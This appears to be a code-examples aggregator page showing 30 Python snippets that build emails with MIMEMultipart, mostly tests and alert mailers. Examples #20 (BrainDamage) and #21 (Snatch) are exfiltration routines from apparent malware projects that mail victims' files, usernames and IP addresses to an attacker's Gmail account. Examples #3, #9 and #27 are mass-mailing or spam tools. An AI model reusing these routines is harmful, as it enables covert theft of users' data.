Python email.MIMEMultipart.MIMEMultipart() Examples

The following are 30 code examples of email.MIMEMultipart.MIMEMultipart(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module email.MIMEMultipart , or try the search function .
Example #1
Source File: test_soledad_adaptor.py    From bitmask-dev with GNU General Public License v3.0 9 votes vote down vote up
def test_get_msg_from_string_multipart(self):
        msg = MIMEMultipart()
        msg['Subject'] = 'Test multipart mail'
        msg.attach(MIMEText(u'a utf8 message', _charset='utf-8'))
        adaptor = self.get_adaptor()

        msg = adaptor.get_msg_from_string(MessageClass, msg.as_string())

        self.assertEqual(
            'base64', msg.wrapper.cdocs[1].content_transfer_encoding)
        self.assertEqual(
            'text/plain', msg.wrapper.cdocs[1].content_type)
        self.assertEqual(
            'utf-8', msg.wrapper.cdocs[1].charset)
        self.assertEqual(
            'YSB1dGY4IG1lc3NhZ2U=\n', msg.wrapper.cdocs[1].raw) 
Example #2
Source File: port_flap_email_alert.py    From python_code_samples_network with MIT License 8 votes vote down vote up
def send_e_mail(subject):
    """
    send an e mail from the Cisco network to anyone -
    Note: This example uses from address as a Cisco server, Change the domain to your SMTP server to send email from your domain.
    """
    
    # retrieve the hostname using in-built cli module
    host_name = cli.cli("show running-config | include hostname")
    FROM_ADDR = 'xxxx@cisco.com'
    TO_ADDR = 'xxxx@gmail.com'
    
    # create the message
    msg = MIMEMultipart()
    msg['From'] = FROM_ADDR
    msg['To'] = TO_ADDR
    msg['Subject'] = "%s - %s" % (subject, host_name)
    text = "This is an automated e mail message:\n===========================\nAn on-Box Python script running on a Cisco Polaris guestshell device and detected that the %s %s \n===========================\n\n\n===========================\n\n" % (subject, host_name)
    msg.attach(MIMEText(text, 'plain'))
    
    # connect to server and send
    server = smtplib.SMTP('outbound.your_company_name.com', 25)
    server.sendmail(FROM_ADDR, TO_ADDR, msg.as_string())
    server.quit() 
Example #3
Source File: massemailer_with_login.py    From Python4Pentesters with MIT License 8 votes vote down vote up
def send_email_account(remote_server, remote_port, username, password, email_from, email_to, subject, body):
    if (remote_server == "smtp.gmail.com"):
        send_email_gmail(username, password, email_from, email_to, subject, body)
    else:
        # connect to remote mail server and forward message on
        server = smtplib.SMTP(remote_server, remote_port)

        msg = MIMEMultipart()
        msg['From'] = email_from
        msg['To'] = email_to
        msg['Subject'] = subject
        msg.attach(MIMEText(body, 'plain'))

        smtp_sendmail_return = ""
        try:
            server.login(username, password)
            smtp_sendmail_return = server.sendmail(email_from, email_to, msg.as_string())
        except Exception, e:
            print 'SMTP Exception:\n' + str( e) + '\n' + str( smtp_sendmail_return)
        finally: 
Example #4
Source File: dns-domain-expiration-checker.py    From dns-domain-expiration-checker with GNU General Public License v2.0 7 votes vote down vote up
def send_expire_email(domain, days, config_options):
    """
       Generate an e-mail to let someone know a domain is about to expire
    """
    debug("Generating an e-mail to %s for domain %s" %
         (config_options["smtpto"], domain))
    msg = MIMEMultipart()
    msg['From'] = config_options["smtpfrom"]
    msg['To'] = config_options["smtpto"]
    msg['Subject'] = "The DNS Domain %s is set to expire in %d days" % (domain, days)

    body = "Time to renew %s" % domain
    msg.attach(MIMEText(body, 'plain'))

    smtp_connection = smtplib.SMTP(config_options["smtpserver"],config_options["smtpport"])
    message = msg.as_string()
    smtp_connection.sendmail(config_options["smtpfrom"], config_options["smtpto"], message)
    smtp_connection.quit() 
Example #5
Source File: test_email.py    From medicare-demo with Apache License 2.0 6 votes vote down vote up
def test_mime_attachments_in_constructor(self):
        eq = self.assertEqual
        text1 = MIMEText('')
        text2 = MIMEText('')
        msg = MIMEMultipart(_subparts=(text1, text2))
        eq(len(msg.get_payload()), 2)
        eq(msg.get_payload(0), text1)
        eq(msg.get_payload(1), text2)



# A general test of parser->model->generator idempotency.  IOW, read a message
# in, parse it into a message object tree, then without touching the tree,
# regenerate the plain text.  The original text and the transformed text
# should be identical.  Note: that we ignore the Unix-From since that may
# contain a changed date. 
Example #6
Source File: test_email.py    From oss-ftp with MIT License 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #7
Source File: test_email.py    From BinderFilter with MIT License 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #8
Source File: test_email.py    From CTFCrackTools-V2 with GNU General Public License v3.0 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #9
Source File: massemailer_direct.py    From Python4Pentesters with MIT License 6 votes vote down vote up
def send_email_direct(email_from, email_to, subject, body):
    # find the appropiate mail server
    domain = email_to.split('@')[1]
    remote_server = get_mx_record(domain)
    if (remote_server is None):
        print "No valid email server could be found for [%s]!" % (email_to)
        return

    # connect to remote mail server and forward message on
    server = smtplib.SMTP(remote_server, 25)

    msg = MIMEMultipart()
    msg['From'] = email_from
    msg['To'] = email_to
    msg['Subject'] = subject
    msg.attach(MIMEText(body, 'plain'))

    smtp_sendmail_return = ""
    try:
        smtp_sendmail_return = server.sendmail(email_from, email_to, msg.as_string())
    except Exception, e:
        print 'SMTP Exception:\n' + str( e) + '\n' + str( smtp_sendmail_return) 
Example #10
Source File: test_email.py    From CTFCrackTools-V2 with GNU General Public License v3.0 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #11
Source File: test_email.py    From medicare-demo with Apache License 2.0 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #12
Source File: mail.py    From python-compat-runtime with Apache License 2.0 6 votes vote down vote up
def to_mime_message(self):
    """Generates a `MIMEMultipart` message from `EmailMessage`.

    This function calls `MailMessageToMessage` after converting `self` to
    the protocol buffer. The protocol buffer is better at handing corner cases
    than the `EmailMessage` class.

    Returns:
      A `MIMEMultipart` message that represents the provided `MailMessage`.

    Raises:
      InvalidAttachmentTypeError: The attachment type was invalid.
      MissingSenderError: A sender was not specified.
      MissingSubjectError: A subject was not specified.
      MissingBodyError: A body was not specified.
    """
    return mail_message_to_mime_message(self.ToProto()) 
Example #13
Source File: test_email.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #14
Source File: OpenCV.Sphinx.takePhotoSendEmailItalian.py    From pyrobotlab with Apache License 2.0 6 votes vote down vote up
def mail(to, subject, text, attach):
            msg = MIMEMultipart()

            msg['From'] = gmail_user
            msg['To'] = to
            msg['Subject'] = subject
 
            msg.attach(MIMEText(text))

            part = MIMEBase('application', 'octet-stream')
            part.set_payload(open(attach, 'rb').read())
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(attach))
            msg.attach(part)

            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            mailServer.login(gmail_user, gmail_pwd)
            mailServer.sendmail(gmail_user, to, msg.as_string())
            # Should be mailServer.quit(), but that crashes...
            mailServer.close() 
Example #15
Source File: test_email.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def test_make_boundary(self):
        msg = MIMEMultipart('form-data')
        # Note that when the boundary gets created is an implementation
        # detail and might change.
        self.assertEqual(msg.items()[0][1], 'multipart/form-data')
        # Trigger creation of boundary
        msg.as_string()
        self.assertEqual(msg.items()[0][1][:33],
                        'multipart/form-data; boundary="==')
        # XXX: there ought to be tests of the uniqueness of the boundary, too. 
Example #16
Source File: test_email.py    From datafari with Apache License 2.0 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #17
Source File: test_email.py    From CTFCrackTools with GNU General Public License v3.0 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #18
Source File: test_email.py    From CTFCrackTools with GNU General Public License v3.0 6 votes vote down vote up
def test__all__(self):
        module = __import__('email')
        all = module.__all__
        all.sort()
        self.assertEqual(all, [
            # Old names
            'Charset', 'Encoders', 'Errors', 'Generator',
            'Header', 'Iterators', 'MIMEAudio', 'MIMEBase',
            'MIMEImage', 'MIMEMessage', 'MIMEMultipart',
            'MIMENonMultipart', 'MIMEText', 'Message',
            'Parser', 'Utils', 'base64MIME',
            # new names
            'base64mime', 'charset', 'encoders', 'errors', 'generator',
            'header', 'iterators', 'message', 'message_from_file',
            'message_from_string', 'mime', 'parser',
            'quopriMIME', 'quoprimime', 'utils',
            ]) 
Example #19
Source File: test_email.py    From CTFCrackTools with GNU General Public License v3.0 5 votes vote down vote up
def test_make_boundary(self):
        msg = MIMEMultipart('form-data')
        # Note that when the boundary gets created is an implementation
        # detail and might change.
        self.assertEqual(msg.items()[0][1], 'multipart/form-data')
        # Trigger creation of boundary
        msg.as_string()
        self.assertEqual(msg.items()[0][1][:33],
                        'multipart/form-data; boundary="==')
        # XXX: there ought to be tests of the uniqueness of the boundary, too. 
Example #20
Source File: SendData.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def sendData(self, fname, fext):
        attach = fname + fext
        print '[*] Sending data %s ' %(attach)
        self.obfusdata(attach)
        attach = attach + '.dsotm'
        ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
        SERVER = "smtp.gmail.com"
        PORT = 465
        USER = userkey
        PASS = passkey
        FROM = USER
        TO = userkey
        SUBJECT = "Attachment " + "From --> " + curentuser + " Time --> " + str(ts)
        TEXT = "There's someone in my head, but it's not me." + '\n\nUSER : ' + curentuser + '\nIP address : ' + ip_address

        message = MIMEMultipart()
        message['From'] = FROM
        message['To'] = TO
        message['Subject'] = SUBJECT
        message.attach(MIMEText(TEXT))

        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(attach, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(attach))
        message.attach(part)

        try:
            server = smtplib.SMTP_SSL()
            server.connect(SERVER, PORT)
            server.ehlo()
            server.login(USER, PASS)
            server.sendmail(FROM, TO, message.as_string())
            server.close()
        except Exception as e:
            error_code = str(e).split('(')[1].split(',')[0]
            print e
            if error_code == '535':
                print e

        return True 
Example #21
Source File: Snatch.py    From Snatch with MIT License 5 votes vote down vote up
def sendData(fname,fext):
	
	attach = "C:\Users\Public\Intel\Logs"+'\\'+fname+fext
	
	ts = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
	SERVER = "smtp.gmail.com"
	PORT = 465
	USER= userkey
	PASS= passkey
	FROM = USER
	TO = userkey
	SUBJECT = "Attachment "+ "From --> " + curentuser+ " Time --> " + str(ts)
	TEXT = "This attachment is sent from python" + '\n\nUSER : ' + curentuser + '\nIP address : ' + ip_address
	
	message = MIMEMultipart()
	message['From'] = FROM
	message['To'] = TO
	message['Subject'] = SUBJECT
	message.attach(MIMEText(TEXT))

	part = MIMEBase('application', 'octet-stream')
	part.set_payload(open(attach, 'rb').read())
	Encoders.encode_base64(part)
	part.add_header('Content-Disposition','attachment; filename="%s"' % os.path.basename(attach))
	message.attach(part)
	
	try:
		server = smtplib.SMTP_SSL()
		server.connect(SERVER,PORT)
		server.ehlo() 
		server.login(USER,PASS)
		server.sendmail(FROM, TO, message.as_string())
		server.close()
	except Exception as e:
		pass

	return True 
Example #22
Source File: test_email.py    From CTFCrackTools with GNU General Public License v3.0 5 votes vote down vote up
def test_mime_attachments_in_constructor(self):
        eq = self.assertEqual
        text1 = MIMEText('')
        text2 = MIMEText('')
        msg = MIMEMultipart(_subparts=(text1, text2))
        eq(len(msg.get_payload()), 2)
        eq(msg.get_payload(0), text1)
        eq(msg.get_payload(1), text2) 
Example #23
Source File: test_email.py    From CTFCrackTools with GNU General Public License v3.0 5 votes vote down vote up
def test_make_boundary(self):
        msg = MIMEMultipart('form-data')
        # Note that when the boundary gets created is an implementation
        # detail and might change.
        self.assertEqual(msg.items()[0][1], 'multipart/form-data')
        # Trigger creation of boundary
        msg.as_string()
        self.assertEqual(msg.items()[0][1][:33],
                        'multipart/form-data; boundary="==')
        # XXX: there ought to be tests of the uniqueness of the boundary, too. 
Example #24
Source File: test_email.py    From datafari with Apache License 2.0 5 votes vote down vote up
def test_mime_attachments_in_constructor(self):
        eq = self.assertEqual
        text1 = MIMEText('')
        text2 = MIMEText('')
        msg = MIMEMultipart(_subparts=(text1, text2))
        eq(len(msg.get_payload()), 2)
        eq(msg.get_payload(0), text1)
        eq(msg.get_payload(1), text2) 
Example #25
Source File: mail.py    From pixelated-user-agent with GNU Affero General Public License v3.0 5 votes vote down vote up
def to_mime_multipart(self):
        mime = MIMEMultipart()
        self._add_predefined_headers(mime)
        self._add_body(mime)
        return mime 
Example #26
Source File: mail.py    From pixelated-user-agent with GNU Affero General Public License v3.0 5 votes vote down vote up
def _generate_mime_multipart(self):
        mime = MIMEMultipart()
        self._add_headers(mime)
        self._add_body(mime)
        return mime 
Example #27
Source File: spomb.py    From darkc0de-old-stuff with GNU General Public License v3.0 5 votes vote down vote up
def sendMail(gmailUser,gmailPassword,recipient,subject,text): 
        
        msg = MIMEMultipart() 
        msg['From'] = gmailUser 
        msg['To'] = recipient 
        msg['Subject'] = subject 
        msg.attach(MIMEText(text)) 
        mailServer = smtplib.SMTP('smtp.gmail.com', 587) 
        mailServer.ehlo() 
        mailServer.starttls() 
        mailServer.ehlo() 
        mailServer.login(gmailUser, gmailPassword) 
        mailServer.sendmail(gmailUser, recipient, msg.as_string()) 
        mailServer.close() 
        print('[-] Sent email to %s :' % recipient) 
Example #28
Source File: alert.py    From dcept with GNU General Public License v3.0 5 votes vote down vote up
def sendEmail(smtp_host, emailAddress, subject, message, port=25):
	msg = MIMEMultipart()
	msg['Subject'] = subject
	msg['From'] = "dcept_ids"
	msg['To'] = emailAddress
	text = message

	msg.attach(MIMEText(text, 'plain'))

	s = smtplib.SMTP(smtp_host, port)
	s.sendmail("DCEPT", emailAddress, msg.as_string())
	s.quit() 
Example #29
Source File: test_email.py    From datafari with Apache License 2.0 5 votes vote down vote up
def test_default_multipart_constructor(self):
        msg = MIMEMultipart()
        self.assertTrue(msg.is_multipart())


# A general test of parser->model->generator idempotency.  IOW, read a message
# in, parse it into a message object tree, then without touching the tree,
# regenerate the plain text.  The original text and the transformed text
# should be identical.  Note: that we ignore the Unix-From since that may
# contain a changed date. 
Example #30
Source File: OpenCV.Sphinx.takePhotoSendEmail.py    From pyrobotlab with Apache License 2.0 5 votes vote down vote up
def mail(to, subject, text, attach):
            msg = MIMEMultipart()

            msg['From'] = gmail_user
            msg['To'] = to
            msg['Subject'] = subject
 
            msg.attach(MIMEText(text))

            part = MIMEBase('application', 'octet-stream')
            part.set_payload(open(attach, 'rb').read())
            Encoders.encode_base64(part)
            part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(attach))
            msg.attach(part)

            mailServer = smtplib.SMTP("smtp.gmail.com", 587)
            mailServer.ehlo()
            mailServer.starttls()
            mailServer.ehlo()
            mailServer.login(gmail_user, gmail_pwd)
            mailServer.sendmail(gmail_user, to, msg.as_string())
            # Should be mailServer.quit(), but that crashes...
            mailServer.close()